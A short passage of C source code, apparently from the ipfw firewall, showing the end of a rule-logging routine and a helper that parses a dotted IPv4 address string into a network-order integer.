  890.     printf("\n");
  891.     if (fw_verbose_limit != 0 && count == fw_verbose_limit)
  892.         printf("ipfw: limit reached on rule #%d\n",
  893.         f ? f->fw_number : -1);
  894.     }
  895. }
  896.  
  897. u_int32_t inaton(const char *str)
  898. {
  899.     unsigned long l;
  900.     unsigned int val;
  901.     int i;
  902.  
  903.     l = 0;
  904.  
  905.     for(i=0; i < 4; i++) {
  906.         l <<= 8;
  907.         if(*str != '\0') {
  908.             val = 0;
  909.             while(*str != '\0' && *str != '.') {
  910.                 val *= 10;
  911.                 val += *str - '0';
  912.                 str++;
  913.             }
  914.             l |= val;
  915.             if(*str != '\0')
  916.                 str++;
  917.         }
  918.     }
  919.     return(htonl(l));
  920. }
  921.  
  922.  
  923.